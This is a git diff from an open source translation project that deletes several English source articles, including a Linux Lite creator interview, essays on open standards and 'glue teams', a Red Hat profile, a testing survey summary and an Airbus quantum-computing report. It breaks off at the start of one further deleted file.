In Free Software, the Community is the Most Important Ingredient- Jerry Bezencon of Linux Lite -Interview.md b/sources/talk/20200525 In Free Software, the Community is the Most Important Ingredient- Jerry Bezencon of Linux Lite -Interview.md deleted file mode 100644 index b34f3508de..0000000000 --- a/sources/talk/20200525 In Free Software, the Community is the Most Important Ingredient- Jerry Bezencon of Linux Lite -Interview.md +++ /dev/null @@ -1,95 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (In Free Software, the Community is the Most Important Ingredient: Jerry Bezencon of Linux Lite [Interview]) -[#]: via: (https://itsfoss.com/linux-lite-interview/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -In Free Software, the Community is the Most Important Ingredient: Jerry Bezencon of Linux Lite [Interview] -====== - -You are probably aware of [Linux Lite][1]. It is a [lightweight Linux distribution][2] based on Ubuntu. If you have an older system with 1 GB of RAM, Linux Lite becomes an excellent choice for you. - -We have covered Linux Lite releases several times on It’s FOSS and if you are a regular reader, you would have come across it. - -![][3] - -We talked to Jerry Bezencon, the creator of Linux Lite project, to know some background details on this project. - -### Interview with Jerry Bezencon of Linux Lite - -Jerry is based in Auckland, New Zealand, and he devotes a good deal of time and effort on Linux Lite project. Jerry shares his vision of the project in this interview. - -_**Tell us about the origins of Linux Lite. When did you create it first and what made you create it in the first place?**_ - -Linux Lite was started in 2012 for 3 important reasons. One, I wanted to dispel myths that a Linux based operating system was hard to use. Two, at that time, there was a shortage of simple, intuitive desktop experiences on Linux that offered long-term support. Three, I had used Linux for over 10 years before starting Linux Lite. - -I felt I needed to give back to a community that had given so much to me. A community that taught me that by sharing code and knowledge, one could have a dramatically positive impact over peoples computing experiences. - -_**How is Linux Lite different from so many other Ubuntu-based distributions?**_ - -Our approach to problem solving and our support. The first sits within the system itself. Lite Tweaks is a good example of this. We try to think of all the things that could possibly go wrong with a computer system, then write applications that fix those problems as easily as possible, should they occur. There is a lot of foresight in the team. - -The second is our approach to support. This mainly comes in 2 forms. Our massive built-in and online Help Manual and [our large forum community][4] full of some of the nicest people I’ve ever dealt with in the free software and open source community. - -_**How do you and your team work on developing Linux Lite?**_ - -There are 24 hours in a day. With 6 – 8 hours for sleep and another 6 – 8 hours for my other job, that’s more than enough time to put towards any project, hobby or job, or all 3. - -I take a more professional approach to code writing. I’ll come up with an idea, mock-up the UI then write the base code, or the whole application myself. If I need help, I prefer to hire and pay via our generous donators, freelancers. - -That way I can set a budget, the user gets a solid, well-written application by a qualified professional who is fluent in that language, and get I exactly what I ask for on time and without the usual flame wars and egos that can exist in some teams. - -By using professional, paid programmers, I avoid all the negativity completely. Application writing has become an extremely peaceful and rewarding exercise. - -_**What are you most proud of about this project?**_ - -![Linux Lite Interview][5] - -I’m most proud of the community that has stayed loyal to us throughout the years. In a business, your staff are your most valuable asset, in free software, the community is the most important ingredient. - -_**What are your future plans with Linux Lite?**_ - -To always strive to look for ways to make a person’s computing experience simpler, faster and trouble free. Our target audience shouldn’t have to dive into the terminal to try and fix things. To continue to build a feature-complete operating system that is light on resources. - -_**What new features can we expect in Linux Lite in upcoming versions?**_ - -Due to tradition, we like to keep those as surprises. I never run out of ideas. Some nights I get no sleep because my mind is buzzing with ideas for our next application, or how to solve an ongoing, difficult bug. - -_**Are there any features that you really want to implement but haven’t been able to do so far?**_ - -You can always do more to enhance an operating system. I’m currently working on our most ambitious application to date. One that doesn’t need a GUI and that sits within the system, anticipates problems and solves them before they are seen by the user. It will have a Reports feature so that those who like to know what is going on, can see for themselves what the code is doing. It will, of course, be free software. My first foray into A.I. that I hope other Linux systems can benefit from in the future. - -_**Have you achieved the goal for which you started the project?**_ - -Goal setting is ongoing. There’s no such thing as the perfect operating system. But there is no harm in aiming for that. - -_**How can the users and readers help the project?**_ - -In the usual ways. Documentation, coding, volunteering on the Forums, buying merchandise, writing blogs, donating, making videos, starting websites like yours – the list goes on. - -* * * - -We hope you like reading about the background of open source projects. You may [read more interviews with various project leaders][6]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/linux-lite-interview/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.linuxliteos.com/ -[2]: https://itsfoss.com/lightweight-linux-beginners/ -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/Linux_Lite.jpg?ssl=1 -[4]: https://www.linuxliteos.com/forums/ -[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/linux-lite-interview.png?ssl=1 -[6]: https://itsfoss.com/interviews/ diff --git a/sources/talk/20200530 How open standards guide us in a world of change.md b/sources/talk/20200530 How open standards guide us in a world of change.md deleted file mode 100644 index 3ee87d50ef..0000000000 --- a/sources/talk/20200530 How open standards guide us in a world of change.md +++ /dev/null @@ -1,59 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How open standards guide us in a world of change) -[#]: via: (https://opensource.com/article/20/5/oasis-open) -[#]: author: (Guy Martin https://opensource.com/users/guyma) - -How open standards guide us in a world of change -====== -OASIS Open brings open source and standards communities together during -this time of crisis to help define a new, collaborative future to -benefit all. -![Globe up in the clouds][1] - -As I write this article in my home office in Beaverton, Oregon, a Portland suburb, I'm relying (and reflecting) on years of work that went into standards like TCP/IP, HTTP, NTP, XMPP, SAML, and many others, as well as open source implementations of these standards from organizations such as the [Apache Software Foundation][2]. The combination of these standards and technologies is literally saving lives, as many of us are able to work from home while "flattening the curve." - -Nothing has dominated the news more in 2020 than COVID-19. Yet, in the midst of challenging time, I've found opportunities for personal and industrial renewal. By fortunate (some may say unfortunate) timing, I found myself switching roles in the middle of this crisis from helping to build and run Open Source Program Offices (OSPOs) to becoming the executive director at [OASIS Open][3], a standards development organization that is helping bring standards and open source together in practical and productive ways. - -Looking through the many articles on Opensource.com related to [standards][4] (and there are [quite a few][5]), I went on an interesting journey through the different thought processes—and sometimes biases—that people involved in each community have. What stood out most was this: both standards professionals and open source advocates want the same thing—better technology that we all can rely on. - -As I was transitioning to this new role at OASIS, some colleagues and friends in the open source world that I've been a part of for many years questioned my motivations for making this move. In explaining why I took this job, I reflected on the larger role I think the intersection of standards and open source can play, especially in the current crisis we all face. - -### 4 reflections on open source and standards - -First, I've seen efforts like the [Open Connectivity Foundation][6], which I was fortunate to help start, get this right in balancing a standard with multiple reference implementations. Early in that effort, the standard was actively driven by the open source project, and the project took cues from the work of the standards teams. The result is both working code and a standard that can help shield IoT developers from having to worry about the many underlying network protocols in use in this ecosystem. - -Second, I'm extremely energized by the opportunity to work with some of the best minds in the open source community, many of whom I'm fortunate enough to call friends. One of the first steps OASIS took when developing its [Open Projects][7] program was to assemble an advisory council of open source all-stars. Chris Ferris, Jim Jagielski, Nithya Ruff, Deb Bryant, and many others regularly come together, with support from OASIS staffer Jory Burson, to hash out best practices with a path to standardization and recognition in international standards bodies like ISO, ITU, W3C, and others. - -This group, along with our staff, is rethinking everything from governance to IP to community building to funding and process, taking the best from both worlds to create something new. We're bridging the agile, collaborative excellence that is open source with the trusted, interoperable reliability that is open standards, and helping to demystify open source for heavily regulated procurement processes (government, financial, NGO, etc.). The possibility of getting open source into supply chains that have traditionally relied on standards is very exciting. - -Third, I see the huge potential for what the response to this pandemic represents. This is arguably a once-in-a-generation opportunity for standards and open source communities to help define and build the future of emergency management, e-learning, medical technologies, and many other aspects of our daily lives. Determining how these elements work together effectively will be paramount to our shared future. - -Finally, I'm excited to see the role that OASIS and other standards and open source bodies can play as we tackle some of our biggest challenges in the coming months and years together. COVID-19 is changing our world and our way of life forever; how we adapt and thrive will, in large part, be determined by how well we all collaborate, and I can think of no better time for the open source and standards communities to unite to chart a course forward for all of us. - -I'm proud to be part of the movement to build a stronger bridge between open source and open standards, and I invite you all to join us. If you have thoughts to share or a project you'd like to advance, I'd love to hear from you. You can [visit us][8] or use the comments section below. Let's write the next chapter together. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/oasis-open - -作者:[Guy Martin][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/guyma -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-globe.png?itok=_drXt4Tn (Globe up in the clouds) -[2]: https://apache.org -[3]: https://oasis-open.org -[4]: https://opensource.com/resources/what-are-open-standards -[5]: https://opensource.com/tags/open-standards -[6]: https://openconnectivity.org -[7]: https://oasis-open-projects.org/ -[8]: https://oasis-open-projects.org/get-involved diff --git a/sources/talk/20200531 Red Hat- Holding Its Own and Fueling Open Source Innovation.md b/sources/talk/20200531 Red Hat- Holding Its Own and Fueling Open Source Innovation.md deleted file mode 100644 index b2879802f2..0000000000 --- a/sources/talk/20200531 Red Hat- Holding Its Own and Fueling Open Source Innovation.md +++ /dev/null @@ -1,59 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Red Hat: Holding Its Own and Fueling Open Source Innovation) -[#]: via: (https://www.linux.com/articles/red-hat-holding-its-own-and-fueling-open-source-innovation/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Red Hat: Holding Its Own and Fueling Open Source Innovation -====== - -When IBM acquired Red Hat for $34 billion in 2019, it was considered the industry’s largest software acquisition. The synergy between the two companies led them to become one of the leading hybrid multi-cloud providers globally. - -In most acquisitions, the acquired entity sometimes loses momentum and sheds some of its original luster. This does not seem to be the case with Red Hat. - -**Distinct Identity** -“I would define it as a separate company and that’s how we run it,” affirms Paul Cormier, President & CEO of Red Hat, who is credited with conceptualizing the company’s open hybrid cloud platform. - -“We set our own strategy, we set our own road maps. It’s completely up to us. We have stayed as a self-contained company. Red Hat still has all the pieces to be a separate company: its own Engineering, product lines, back office, HR, Legal, and Finance. It’s very much like VMware is to Dell, or LinkedIn is to Microsoft,” he explains. - -Cormier believes it’s important to have separate identities for partner ecosystems to thrive. - -“We are talking about integrating Arc with OpenShift. IBM didn’t even know this was happening as we had kept it confidential,” he says. - -Microsoft’s Azure Arc is a management tool for hybrid cloud application infrastructures, while OpenShift is a family of containerization software developed by Red Hat. - -“We’re big on Intel platforms. We’re also big on IBM Z, IBM I, IBM P. Since we support Intel in Red Hat Enterprise Linux (REL), we know their road maps long before they’re implemented.  However, we have to show Intel that we would not give away their secrets to IBM. This is the most important reason that we must remain separate so that those partner ecosystems remain,” he says. - -**Linux: The Innovation Engine** -Cormier points out that what makes Red Hat very unique is its completely open-source software development model. - -“That’s our development model. Open source is not a thing — it’s an action,” he says. - -Underlining the importance of Linux, he explains that “Linux went by Unix a long time ago in terms of features, function, and performance. However, Linux was so available that eventually, it became the innovation engine. All the technologies today — on the infrastructure and the development side, on the tools side — they are all built-in and around Linux. OpenShift is still a Linux platform. Its containers are Linux. All the innovation is now around that.” - -Cormier is also confident of meeting the demand of customers adopting hybrid cloud. - -“For us, it doesn’t matter whether it’s 20% on-premise, 20% in the cloud and 80% on-premise, or 60/40 or 50/50 — it’s still a hybrid world. I can’t predict if the COVID thing is going to push people to the cloud more quickly or more slowly, but we don’t care. It doesn’t matter. For us, it’s the same value proposition,” he avers. - -**Virtualization meets Kubernetes ** -Red Hat is now working on bringing VMs into the Kubernetes architecture. - -“As opposed to some of our competitors that are trying to bring containers back to their world, we’re moving in the other direction. We are working on advanced cluster management on Kubernetes. As customers increasingly go hybrid, having OpenShift with containers running in different places will help them easily manage across clusters,” Cormier says. - -“We’re also focusing on telco 5G use cases on the OpenShift platform. We’re doing a lot of work with Verizon and the other telcos,” he adds. --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/red-hat-holding-its-own-and-fueling-open-source-innovation/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200603 5 common open source testing myths debunked.md b/sources/talk/20200603 5 common open source testing myths debunked.md deleted file mode 100644 index 5ce22be725..0000000000 --- a/sources/talk/20200603 5 common open source testing myths debunked.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 common open source testing myths debunked) -[#]: via: (https://opensource.com/article/20/6/open-source-testing-myths) -[#]: author: (Kevin Dunne https://opensource.com/users/kdunne916) - -5 common open source testing myths debunked -====== -These survey results paint a picture of the bright future of open source -testing. -![Collaboration on a mobile software design][1] - -Open source tools are constantly changing the landscape of testing, and the community around these tools is bigger and more vocal than ever. - -The first-ever _[State of Open Source Testing Survey][2]_ examines the latest trends and developments across the software development industry. This survey received over 2,000 responses from practitioners across the behavior-driven development, functional testing, and load testing domains. - -The survey reveals a great deal about software testing and how it uses open source, and based on the results, it's reasonable to expect an increased rate of adoption and deployment of open source tools. - -Importantly, the survey results also debunk some of the common myths around open source and software testing. Here's a look at the top five: - -### Myth #1: The biggest impediment to using open source testing tools are the skills required. - -There is undoubtedly a large jump in technical skill sets required to use open source testing tools, and typically a need to brush up on or learn new coding skills. However, while 40% of respondents did cite the lack of technical skills as one of their largest roadblocks, the most common roadblock cited was simply lack of time to learn new tools. - -![OS testing impediments][3] - -### Myth #2: Open source testing happens mostly in English-speaking countries. - -Of all respondents to the survey, 61% are in Asia. While many have believed that Agile and DevOps are making co-located work more essential, the significant number of respondents in countries like India, Vietnam, and the Philippines says otherwise. There's a possibility that the rise of remote work and distributed teams will continue to grow the importance of multilingual support for projects and more adoption of asynchronous communication practices. - -![OS testing offshore][4] - -### Myth 3: Open source tools are only used for cost savings. - -Sure, the largest reason for using open source testing tools stated was cost (39%). However, the overwhelming majority of respondents (61%) cited other primary reasons for leveraging open source tools, including community support, better integration, and more ability to customize to their liking. Simply put, the choice to use open source is not a purely economic one. - -![OS testing benefits][5] - -### Myth #4: Quality Assurance Engineering is no longer a career because developers write their own tests. - -An overwhelming majority (84%) of organizations surveyed still had dedicated testing and QA personnel contributing to the creation of functional automated tests against their applications. Only a small percentage (8%) left those tasks completely up to developers to handle. - -![functional testing roles][6] - -When looking at other types of testing, such as load and performance testing, there seemed to be a wider variety of titles/roles that were involved (performance engineering, operations, etc.). Still, the role of a dedicated tester, whether technically focused or otherwise, seems to be one that won't be eliminated anytime soon. - -![performance/load testing roles][7] - -### Myth #5: Behavior-driven development means you don't have to plan ahead. - -[Behavior-driven development][8] (BDD) is a hot topic in industry discussions these days, with anywhere between 15-40% of companies using it (depending on your source). While many have implemented the tools that support BDD (Cucumber, SpecFlow, and so on), few have implemented the true foundation of the approach: specification-by-example using scenarios. Teams have often managed to get by with suboptimal requirement definitions due to their frequent, in-person collaboration; requirements are defined along the way, as things develop. If only 20% of companies provide documentation in the required format, it's likely we'll see struggles now that teams are increasingly remote. - -![BDD usage][9] - -### Open source and the future - -The future of open source testing is bright, but it's changing. Few industries are as well-equipped to adapt to rapid change as open source development. - -Want to dig a little deeper? Head over to Tricentis' [infographic][10] to explore the detailed results and sign up to participate in the _2021 State of Open Source Testing Survey_. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/open-source-testing-myths - -作者:[Kevin Dunne][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kdunne916 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mobile-device-phone-team-collaboration-demo.png?itok=q96f2Eao (Collaboration on a mobile software design) -[2]: https://www.tricentis.com/state-of-open-source-2020/ -[3]: https://opensource.com/sites/default/files/uploads/os_testing_1_0.png (OS testing impediments) -[4]: https://opensource.com/sites/default/files/uploads/os_testing_2.png (OS testing offshore) -[5]: https://opensource.com/sites/default/files/uploads/os_testing_3.png (OS testing benefits) -[6]: https://opensource.com/sites/default/files/uploads/os_testing_4.png (functional testing roles) -[7]: https://opensource.com/sites/default/files/uploads/os_testing_5.png (performance/load testing roles) -[8]: https://opensource.com/article/19/2/behavior-driven-development-tools -[9]: https://opensource.com/sites/default/files/uploads/os_testing_6.png (BDD usage) -[10]: https://www.tricentis.com/state-of-open-source-2020 diff --git a/sources/talk/20200604 Airbus tells quantum-computing developers what it needs from the the technology.md b/sources/talk/20200604 Airbus tells quantum-computing developers what it needs from the the technology.md deleted file mode 100644 index b078a5287d..0000000000 --- a/sources/talk/20200604 Airbus tells quantum-computing developers what it needs from the the technology.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Airbus tells quantum-computing developers what it needs from the the technology) -[#]: via: (https://www.networkworld.com/article/3561228/airbus-tells-quantum-computing-developers-what-it-needs-from-the-the-technology.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Airbus tells quantum-computing developers what it needs from the the technology -====== -Aerospace multinational Airbus says it is 'quantum-ready' and helping to shape the future capabilities of quantum computing. -[Glosser.ca / Pete Linforth][1] [(CC BY-SA 3.0)][2] - -Airbus expects quantum computing to have major production, performance and efficiency benefits as the technology plays a role in its cybersecurity, aerospace and communications businesses. - -“We are users of quantum computing and intend to use it to deliver more powerful services and systems,” said [Paolo Bianco][3], global research & technology cooperation manager for Airbus to an online audience at the [Inside Quantum Technology][4] virtual event this week. - -[10 of the world's fastest supercomputers][5] - -“We are not very much interested in developing our own quantum technology but will help others develop quantum technologies so that we can integrate them into what we are doing.  Our aim is to be quantum-ready.  It’s a race, and we want to hit the ground running.” - -The multinational aerospace corporation and world’s largest airline manufacturer is well on its way to utilizing and helping influence the develop the future of quantum computing.  - -For example, Bianco pointed to three key quantum technology areas Airbus is interested in – communication/security, computing and sensing. - -"The field of quantum communications is where we started in 2012 as the company was evaluating the technology’s threat to secure communications," Bianco said. - -According to a recent Airbus [blog][6], "Today’s cryptographic algorithms—such as the widely used encryption via asymmetric keys—will not be able to sustain attacks by the quantum computers of tomorrow. Our goal is to develop a future secure communications infrastructure for our aerospace platforms based on security-enhancing quantum information technologies (algorithms, authentications, keys).”   - -Airbus wants to make quantum computing a significant part of its ongoing high-performance computing (HPC) work.  - -"We are an avid HPC user because we do a lot of simulations and design," the company says, "and we have invested a lot of time and money to understand how quantum computing can be used with HPC to improve our efficiency and performance." - -The third area Airbus is looking to develop is quantum sensors that "are effective at measuring physical quantities such as frequency, acceleration, rotation rates, electric and magnetic fields, and temperature with the highest relative and absolute accuracy," Airbus stated.  - -"We believe this could have direct applications in improving our navigation systems in which precise acceleration measurement is used to achieve position data," Airbus stated. "In addition, quantum sensors could act as payloads for a range of different applications, such as climate dynamics from satellites or underground resources surveying from an aircraft." - -In addition to those three areas, the company 18 months ago began the [Airbus Quantum Computing Challenge][7] (AQCC) to get the quantum community involved in addressing aerospace-flight physics problems. The challenge put forward five distinct  problems, such as saving fuel or designing aircraft wings, with varying degrees of complexity, ranging from a simple mathematical question to a global flight physics problem, Airbus stated.  - -The challenge involved quantum-computing research from Airbus’ team and third parties, and the results were expected earlier this year. But as with many things, the announcement of the winner has been delayed due the COVID-19 pandemic, but Bianco said results are expected soon.  - -Beyond the Challenge, Airbus has taken part in the development of the quantum computing community. For example it provided early funding to quantum-computing-as-a-service vendor QC Ware, which offers a cloud-based service that provides enterprises with access to quantum resources. Other vendors such as [D-Wave][8], Google, [IBM][9] and [Rigetti][10] offer similar cloud-based resource services. - -Airbus has also been involved in developing quantum technologies for use in [space][11], as well as facilitating [university research][12] with the Quantum Technology Application Centre. - -“We need to develop systems that are far away from the everyday experience…we are ready to go the extra mile to understand something we are going to use,” Bianco said.  Aerospace could be one of the technologies that helps everyone learn what quantum can do, particularly in extreme environments, he said. - -Join the Network World communities on [Facebook][13] and [LinkedIn][14] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3561228/airbus-tells-quantum-computing-developers-what-it-needs-from-the-the-technology.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/File:Bloch_Sphere.svg -[2]: https://creativecommons.org/licenses/by-sa/3.0/legalcode -[3]: https://www.linkedin.com/in/paolobianco1/?originalSubdomain=uk -[4]: https://www.insidequantumtechnology.com/news/inside-quantum-technology-new-york-online-tuesday-june-2/ -[5]: https://www.networkworld.com/article/3236875/embargo-10-of-the-worlds-fastest-supercomputers.html -[6]: https://www.airbus.com/innovation/future-technology/quantum-technologies.html -[7]: https://www.airbus.com/newsroom/news/en/2019/10/world-leading-experts-Airbus-Quantum-Computing-Challenge.html -[8]: https://www.dwavesys.com/quantum-computing -[9]: https://www.ibm.com/quantum-computing/ -[10]: https://rigetti.com/ -[11]: http://qtspace.eu:8080/sites/testqtspace.eu/files/QTspace_Stretegic_Report_Intermediate.pdf -[12]: http://www.bristol.ac.uk/temple-quarter-campus/research-teaching-and-partnerships/qtic/ -[13]: https://www.facebook.com/NetworkWorld/ -[14]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200607 Is your team a -glue team.md b/sources/talk/20200607 Is your team a -glue team.md deleted file mode 100644 index d62fed9525..0000000000 --- a/sources/talk/20200607 Is your team a -glue team.md +++ /dev/null @@ -1,121 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Is your team a "glue team?") -[#]: via: (https://opensource.com/open-organization/20/6/glue-team) -[#]: author: (Lauri Apple https://opensource.com/users/lapple) - -Is your team a "glue team?" -====== -Glue teams help keep an organization running smoothly. Here's how to -help them do their best work and avoid burnout. -![Teamwork starts with communication amongst teams and across silos][1] - -In his book [_How to Win_][2], New York Times senior economic correspondent Neil Irwin championed the role of "glue people" in bringing about better alignment, collaboration, and organizational maturity. "There is particular value in being a 'glue person,'" [Irwin writes][3], "someone who understands how their specialty fits together with other types of technical expertise, who can ensure that teams containing people with diverse skills can work together to create something greater than the sum of its parts." - -In many organizations, "glue people" are identified by their roles—product managers, team leads, program manager, project manager, agile coach, business systems analyst. They're people like me—an agile program manager who's been developing cross-team and cross-organizational initiatives for the past seven years at large- and medium-sized companies. - -In one company, I served as program manager for a company-wide open source initiative—aligning 1,800 developers behind a common strategy and setting development practices. In another, I worked with three teams building out a self-service deployment platform based on Kubernetes and AWS. In these days of Coronavirus, I'm helping 14 delivery teams to launch an MVP offering that augments our core business. - -The subject matter has been different in each role, but the same key activities that I bring to work every day remain consistent: - - * Drive alignment - * Coordinate people, efforts, and teams - * Call out ambiguous language to drive clarity and replace assumptions with facts - * Be the neutral party or "fresh eyes" who distills detailed conversations and plans down into simple questions: "Are you doing this, or that?"; "Are you building two things or one thing?" So often, these basics go overlooked! - * Coach leaders on delegation, prioritization and strategic thinking - * Facilitate informed decision-making - * Forecast dependencies and other risks and help mitigate them - * Visualize complex packages of work in simple, clear diagrams and language to improve transparency and accountability - - - -The glue people in your organization might also be program managers, or agile coaches, scrum masters, or engineering managers. Some organizations rely on their savviest product managers and engineering managers to provide the glue; in other organizations, the CEO doubles as Chief Glue Officer. In any case, we glue people spend much of our workdays connecting the dots between people, topics, and themes, to paint the whole picture instead of little corners. - -Maybe you are a glue person. Have you ever considered the specific ways you may fulfill this role? - -### Understanding the need for coherent storytelling - -Do you ever think of yourself as a storyteller, embracing or asserting a narrative as a means of keeping your organization aligned? If so, you're fulfilling a valuable glue-person responsibility. - -Coherent storytelling essentially amounts to connecting the dots. In your average tech organization, there is lots of activity moving forward; maybe this is even documented. But does it all add up to a story anyone can follow? For example: - - * Have you ever seen a roadmap that was formatted as a to-do list, and wondered how the different items corresponded to each other? - * Have you ever seen goals stated on a vision document and wondered, "we've never fulfilled that function before, and we don't have a team set up to do it anytime soon. So what are the steps between now and that team forming? How do we get there?" - * Have you or your team ever been asked to drop what you're doing right now, even though last week it was "super-urgent," and start doing this other thing right now because it's suddenly also "super-urgent?" - * Does your product roadmap look more like spinning a bunch of plates to keep different customers happy than building increments of value to serve current and future customers? - * Does your organization try to do too much, making an extreme sport out of context-switching? - - - -I've seen all of the above. They're all pretty failsafe ways to get talented people to burn out, lose motivation, and leave your organization. These frustrated folks see their companies constantly [disrupting themselves][4] and determine that they will never get anything done. They don't know where they're headed, and no one is telling them that story in any clear, purpose-focused way. What's unfortunate is that such problems are usually not difficult to solve—the content and context are there, but no one is assembling it into the narrative or editing out the filler. - -Even the most clear-headed companies struggle to permanently bake common sense fundamentals like prioritization and evidence-based decision-making into their cultures and habits. They're aware of the importance of values like focus, clarity, and prioritization. Maybe the companies even worked hard to attain them through pragmatic-sounding values statements, objective and key results (OKR) strategies, offsites, workshops, and other common tools of the transformation trade. Nevertheless, hierarchies form, and a few teams start getting left out of decisions that affect them. Politics seep in. Inertia creeps. Docs—what are docs? Decision logs—what are decision logs? Meetings get longer and more boring. Time starts to run out, and you end up at the point where you "just have to ship something." The plot gets lost. - -> "We used to be excellent at getting work done. The more people we add, the less we're getting done." - -Some organizations lose the plot of their own story by over-reliance on oral storytelling. They hold a lot of meetings where much is said, but no one takes notes. There's no basic roadmap or vision posted; in fact, there is resistance to the idea of those things. "It takes too much time," is the usual argument. "No one will read them anyway," is another common one. Often, in these organizations, the processes they've developed rely too much on personal connections, and not enough on well-designed communication flow. Their processes are lightweight because they're nonexistent. - -From time to time, I've asked colleagues, "would you rather write this down once, or have three or four meetings where you have to clarify the same point with the same people?" Usually, they decide to write it down. But the habit of oral storytelling and hallway negotiation can take time to break. - -As a former reporter, it's not much of a stretch for me to view my role as that of a storyteller. Much of what I do on a daily basis is similar to when I was reporting: - - * Asking people questions - * Clarifying the responses - * Challenging the responses ("but what about this?") to sharpen their meaning - * Organizing the information into stories, starting with the most important details ("the lede") first - * Constantly asking, "who is going to care about this detail?" and segmenting the content by audience - * Categorizing related types of information to form sub-themes and identify sub-narratives - - - -When I give road-mapping workshops, I cover the 5 Ws—it feels like giving a Journalism 101 class to engineering managers and product teams: - - * WHO is the customer? The team/set of teams about to do the work? - * WHAT are we doing? - * WHY are we doing it? Why are we not doing this other thing instead? - * WHEN do we start? When do we hope to finish something? - * WHERE does this effort reside in the landscape of our other efforts? - * HOW do you want to do it? - - - -In leading these road-mapping sessions, I'm looking for a few key outcomes of success: - - * A story that reflects a very strict work-in-progress limit—i.e., a primary plot, and two to three related sub-plots maximum, but no more - * Stated objectives for whatever the organization is working on that are customer-agnostic and framed in a broader context (i.e., doing X will strengthen or complement Y, in these ways) - * Metrics and data points that clearly show the impact of delivering something - - - -One other similarity between being a "glue person" in a tech organization, and being a journalist, is that it's vital to ask tough questions, to get to the bottom of stories. This is to ensure that the "readers" of those stories—the teams, the departments, the C-level, and anyone else seeking the information—have all the clarity they need to follow the plot. Here some example questions from my real-life experience: - - * To a group of 15 engineering managers who have spent an hour-long meeting prioritizing a bunch of greenfield development initiatives—"How did protecting customer data from known potential leaks end up near the bottom of your list?" - * To a head of engineering, who wanted to create dashboards so he could survey team progress—"Who needs these bug-counting dashboards; the delivery teams, or you? How does this scale? Is 'number of bugs' a reliable metric?" - * To two teams who want to build their own Kubernetes cluster when one is sufficient—"Hey, what's the value of doing that?" - - - -A lot of what I'm suggesting depends on changing habits, which takes time. Unfortunately, you're in the middle of a global pandemic and don't have time to waste on getting the right teams and people assembled and a plan in motion. You probably don't have the bandwidth to do it all yourself. - -So, don't be the sole glue person in your organization. Be one of many glue people, and help other people adapt to playing this role. It's especially crucial during a crisis. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/6/glue-team - -作者:[Lauri Apple][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lapple -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/fistbump-team-teamwork.png?itok=WuSu8-wE (Teamwork starts with communication amongst teams and across silos) -[2]: https://www.neilirwin.com/how-to-win -[3]: https://www.theatlantic.com/ideas/archive/2019/06/its-a-winner-take-all-world-heres-how-to-get-ahead/591700/ -[4]: https://barryoreilly.com/when-your-startup-cant-stop-disrupting-itself/ diff --git a/sources/talk/20200610 8 steps to make your next meeting more productive.md b/sources/talk/20200610 8 steps to make your next meeting more productive.md deleted file mode 100644 index 8b612dec2c..0000000000 --- 